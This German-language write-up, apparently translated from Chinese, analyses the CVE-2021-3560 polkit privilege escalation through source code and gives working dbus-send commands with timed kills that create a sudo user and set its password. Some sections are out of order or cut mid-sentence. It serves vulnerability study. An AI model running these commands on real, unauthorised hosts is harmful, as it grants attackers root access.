
Eingehende Analyse von CVE-2021-3560, einer lokalen Schwachstelle zur Privilegieneskalation in Linux PolKit. Umfasst Root-Cause-Analyse, Exploit-Mechanismen und eine Demonstration der Race Condition, die zu Root-Zugriff führt.
[toc]
Schwachstellen-ID: CVE-2021-3560
Schwachstellenbewertung:
Betroffenes Produkt: Linux PolKit (polkitd)
Betroffene Systeme: Eingeführt in Quellcode 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
Voraussetzungen für die Ausnutzung: lokaler Linux-Zugriff; dbus + polkitd vorhanden
Auswirkung der Ausnutzung: lokale Privilegieneskalation
Quellcode-Beschaffung:
apt source accountsserviceapt source dbusDas Standard-Ubuntu-Image ubuntu-20.04.2 ist ausreichend, um die Schwachstelle zu reproduzieren: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
Zuerst betrachten wir den problematischen Code
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
In der Funktion polkit_system_bus_name_get_creds_sync wird die Authentifizierung bestimmter Anfragen durchgeführt (die konkreten Szenarien und die Logik werden später im Detail erläutert). Über den org.freedesktop.DBus-Bus werden nacheinander die Methoden GetConnectionUnixUser und GetConnectionUnixProcessID aufgerufen. Diese beiden Methoden werden vom org.freedesktop.DBus-Bus bereitgestellt und dienen dazu, die PID und die Benutzer-UID des anfragenden Prozesses zu ermitteln. Anschließend werden sie an die Callback-Funktion on_retrieved_unix_uid_pid übergeben, die die zurückgegebenen Daten verarbeitet. Danach wird blockierend gewartet, bis der Prozess auf der Bus-Seite abgeschlossen ist.
In der Funktion on_retrieved_unix_uid_pid ist zu erkennen, dass anhand des von der Bus-Seite zurückgegebenen Ausführungsergebnisses festgelegt wird, ob ein Fehler aufgetreten ist (error?), und anschließend das Fehlerflag gesetzt wird. Bei erfolgreicher Ausführung werden ordnungsgemäß die Benutzer-UID oder die Prozess-PID zurückgegeben. In der Funktion polkit_system_bus_name_get_creds_sync hingegen blockiert der Prozess, bis die Bus-Seite ein Ergebnis zurückgibt (als Kriterium für die abgeschlossene Verarbeitung gilt: sowohl UID als auch PID wurden verarbeitet oder es ist ein Fehler aufgetreten). Logisch betrachtet kann die Bus-Seite also drei Ergebnisse liefern: eine Benutzer-UID von 0 (privilegierter Benutzer), eine Benutzer-UID ungleich 0 (normaler Benutzer) oder einen Fehler. In der anschließenden Verarbeitung wird der Fehlerfall jedoch nicht behandelt: Das an die obere Ebene zurückzugebende out_uid wird direkt auf das von der Bus-Seite zurückgegebene data.uid gesetzt und ret wird direkt auf TRUE gesetzt:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
Es wird jedoch ein Fall übersehen: Wenn auf der DBUS-Bus-Seite ein Fehler auftritt, setzt die Callback-Funktion lediglich das Fehlerflag und kehrt zurück, ohne die Daten in data zu verarbeiten. Da data mit 0 initialisiert wird, wird out_uid in der Folge direkt auf 0 gesetzt – also auf den privilegierten Benutzer.
Wo wird diese fehlerhafte Funktion polkit_system_bus_name_get_creds_sync nun verwendet?
Der von der Schwachstelle betroffene Prozess ist der polkitd-Prozess:
polkit ist ein Toolkit auf Anwendungsebene, das durch die Definition und Überprüfung von Berechtigungsregeln die Kommunikation zwischen Prozessen unterschiedlicher Priorität ermöglicht: Die Kontrollentscheidungen sind in einem einheitlichen Rahmen zentralisiert und legen fest, ob ein Prozess mit niedriger Priorität auf einen Prozess mit hoher Priorität zugreifen darf.
Kurz gesagt handelt es sich um einen im Hintergrund laufenden Root-Prozess, der über Interprozesskommunikation eine Berechtigungsentscheidung trifft, wenn andere Prozesse mit niedrigen Rechten auf Funktionen zugreifen möchten, die von Prozessen mit hohen Rechten bereitgestellt werden. Da dieser Prozess neu startet, sobald gdb daran angehängt wird, können wir nur auf Quellcode-Ebene analysieren, um den Auslösungspfad der verwundbaren Funktion zu finden:
polkitd wurde in großem Umfang mit dem GIO DBUS-Framework für Interprozesskommunikation entwickelt. Es lohnt sich, vorab einen Blick in das Handbuch zu werfen und sich auf einige wichtige Funktionen zu konzentrieren.
Als Nächstes analysieren wir den Auslösungspfad der Schwachstelle in polkitd:
Zunächst main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
Zuerst wird ein Bus mit dem Namen org.freedesktop.PolicyKit1 registriert, dann gibt es drei Callback-Funktionen. Besonders wichtig ist on_bus_acquired, das aufgerufen wird, wenn auf den Bus zugegriffen wird.
In der Funktion on_bus_acquired wird direkt eine Funktion des Registrierungstyps aufgerufen: polkit_backend_authority_register
Das bedeutet: Wenn andere Funktionen die Methode CheckAuthorization auf dem Bus org.freedesktop.PolicyKit1.Authority aufrufen, kann in bestimmten Szenarien (wenn die DBUS-Anfrage zur Ermittlung der anfragenden UID einen Fehler zurückgibt) die Korrektheit der Authentifizierung dieser Methode beeinträchtigt werden. Da wir die Lösung direkt sehen können, besteht die Ausnutzungsmethode darin, bei der Verwendung von account-daemon
Zunächst zeigen wir das Diagramm des Exploit-Autors:
Erläuterung der Elemente im Diagramm:
Die drei Prozesse polkitd, dbus-daemon und account-daemon sind Hintergrunddienstprozesse, die mit Root-Rechten ausgeführt werden.
dbus-daemon ist eine Art „Router“ für die Interprozesskommunikation, also der Kern des oben erwähnten GIO-DBUS-Frameworks für die Interprozesskommunikation. Meiner Auffassung nach können verschiedene Prozesse hier ihren Busnamen registrieren. Ein Prozess, der mit dir kommunizieren möchte, greift über Busname, Schnittstelle und Methodennamen auf Funktionen in deinem Prozess zu. Einige der oben vorgestellten Funktionen des polkitd-Prozesses registrieren auf diese Weise einen Bus im DBus und warten darauf, von anderen Prozessen aufgerufen zu werden.
account-daemon funktioniert ähnlich wie polkitd. Es registriert den Bus org.freedesktop.Accounts in DBus und stellt eine Reihe von kontobezogenen Methoden bereit, wie etwa das Hinzufügen von Benutzern und das Setzen von Passwörtern, die im Folgenden verwendet werden. Darüber hinaus führt dieser Prozess vor Vorgängen wie dem Hinzufügen von Benutzern eine Authentifizierung des Benutzers durch; die verwendete Authentifizierungsmethode ist genau die oben erwähnte verwundbare Busmethode CheckAuthorization, die vom polkitd-Prozess bereitgestellt wird.
Der Gesamtablauf der Ausnutzung ist also wie folgt:
Mit dem Befehl dbus-send wird eine Nachricht an den Prozess account-daemon gesendet, damit dieser einen Administratorbenutzer anlegt (die von diesem Prozess bereitgestellte Methode CreateUser fügt standardmäßig einen Administratorbenutzer hinzu). Mit unserer Identität lässt sich dieser Vorgang jedoch nicht durchführen.
Nachdem die Nachricht an den Prozess account-daemon gesendet wurde, fordert account-daemon vom Prozess polkitd eine Berechtigungsprüfung an, ob dieser Benutzerhinzufügevorgang genehmigt wird.
polkitd fragt beim Bus die Benutzerrechte und die Prozess-ID des Prozesses ab, der die Anfrage zum Erstellen des Benutzers gestellt hat.
dbus-send-Prozess) in dem Zeitraum zu killen, nachdem die Nachricht gesendet und von account-daemon empfangen wurde, aber bevor polkitd die Rechte des anfragenden Prozesses abfragt.Zu diesem Zeitpunkt stellt der Bus fest, dass der Prozess, der das Hinzufügen des Benutzers beantragt hat, nicht mehr existiert, und gibt einen Fehler zurück.
Da dbus-daemon lediglich ein Vermittlungsprozess ist, wird er hier nicht im Detail analysiert. Stattdessen analysieren wir account-daemon, den Schlüsselprozess während der Ausnutzung. Auch dieser Prozess verwendet das GIO-DBUS-Framework. Wir analysieren kurz einige wichtige Punkte darin. Zunächst betrachten wir
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Hier werden die Makros G_DEFINE_TYPE_WITH_CODE und G_IMPLEMENT_INTERFACE verwendet, um die Funktion daemon_accounts_accounts_iface_init auszuführen. Kurz gesagt sorgen diese beiden Makros dafür, dass die Funktion daemon_accounts_accounts_iface_init bei Gelegenheit ausgeführt wird. In der Funktion daemon_accounts_accounts_iface_init wird die Methode create_user registriert. Wir betrachten direkt die Implementierung der Funktion daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
Innerhalb von daemon_create_user wird die Funktion daemon_local_check_auth aufgerufen, um zu prüfen, ob die Rechte des anfragenden Benutzers ausreichen. Nach erfolgreichem Aufruf wird die Callback-Funktion daemon_create_user_authorized_cb aufgerufen. Zuerst betrachten wir die Authentifizierungsfunktion daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Hier wird die Funktion polkit_authority_check_authorization zur Authentifizierung aufgerufen. polkit_authority_check_authorization ist eine von libpolkit-gobject-1.so.0 bereitgestellte Bibliotheksfunktion, die direkt die Methode CheckAuthorization auf dem Bus org.freedesktop.PolicyKit1.Authority im oben analysierten polkitd-Prozess aufruft. Bei erfolgreicher Authentifizierung wird die Callback-Funktion daemon_create_user_authorized_cb aufgerufen:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
Hier wird es bereits sehr deutlich: Nach erfolgreichem Hinzufügen des Benutzers wird dieser direkt zur sudo-Benutzergruppe hinzugefügt. Am Ende des Exploits kann man sich nach dem Hinzufügen des Benutzers daher über sudo su root zu root wechseln.
Als Nächstes betrachten wir das Demo zur manuellen Ausnutzung:
Als normaler Benutzer senden wir direkt mit dem Befehl dbus-send eine Anfrage zum Erstellen eines Benutzers an account-daemon:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
Bei Betriebssystemen mit grafischer Oberfläche öffnet diese Anfrage ein Fenster zur Passworteingabe:
In einer Kommandozeilenumgebung wie ssh schlägt dies direkt fehl:

Gemäß der oben beschriebenen Ausnutzungsstrategie betrachten wir zunächst die Ausführungszeit des Befehls:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Anschließend killen wir den Befehl etwa bei der Hälfte seiner Ausführungszeit; mit einer gewissen Wahrscheinlichkeit wird dadurch die Schwachstelle ausgelöst und die Benutzererstellung gelingt:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Nach mehrmaliger Ausführung gelingt es:

Und der Benutzer befindet sich auch in der sudo-Benutzergruppe:

Dann fügen wir ihm mit derselben Methode noch ein Passwort hinzu:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 muss entsprechend der UID des gerade erstellten Benutzers angepasst werden; das Passwort wird als Hashwert angegeben. Anschließend wechselt man zum Benutzer
Hier wurde das Exploit nicht im Detail ausgearbeitet; im Grunde genügt es, die obigen Befehle zu automatisieren. Das C-Exploit auf GitHub funktioniert ebenfalls einwandfrei.
Auf die neueste Version aktualisieren
Schwachstellen-Offenlegung (GitHub): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
In der Funktion polkit_backend_authority_register wird ein Schnittstellenobjekt org.freedesktop.PolicyKit1.Authority registriert und eine Callback-Funktionstabelle server_vtable übergeben. Der Auslösepunkt der Schwachstelle befindet sich in einem Eintrag dieser Callback-Funktionstabelle:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
Wenn andere Prozesse über den Bus die Methode CheckAuthorization aufrufen, wird die Funktion server_handle_check_authorization aufgerufen.
In der Funktion server_handle_check_authorization wird polkit_backend_authority_check_authorization aufgerufen.
In der Funktion polkit_backend_authority_check_authorization wird über einen Callback klass->check_authorization aufgerufen; die dort registrierte Funktion ist polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
Danach muss man nur noch der Reihenfolge folgen: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
Verwundbare Funktion: polkit_system_bus_name_get_user_sync
dbus-send ist ein Befehl. Der DBus-Bus stellt einige Programmierschnittstellen für die Interprozesskommunikation bereit, bietet aber auch Befehlszeilenbefehle an, mit denen direkt Nachrichten an bestimmte Prozesse gesendet werden können, um deren Methoden aufzurufen.
Wie aus der obigen Analyse hervorgeht, liegt die Schwachstelle darin, dass der polkitd-Prozess bei einem Fehler standardmäßig von Erfolg ausgeht und die Benutzer-UID standardmäßig als 0 annimmt, also als privilegierten Benutzer. Dadurch wird die Schwachstelle ausgelöst und der Vorgang erlaubt.
Obwohl der dbus-send-Prozess gekillt wurde, was dazu führt, dass die Busprüfung einen Fehler meldet, wird account-daemon davon nicht beeinträchtigt: Nachdem account-daemon die Nachricht empfangen hat, kümmert es sich nicht mehr darum, ob der anfragende Prozess noch existiert.
Nachdem account-daemon die Genehmigung zur Benutzererstellung von polkitd erhalten hat, wird der Benutzer erstellt und die Ausnutzung ist abgeschlossen.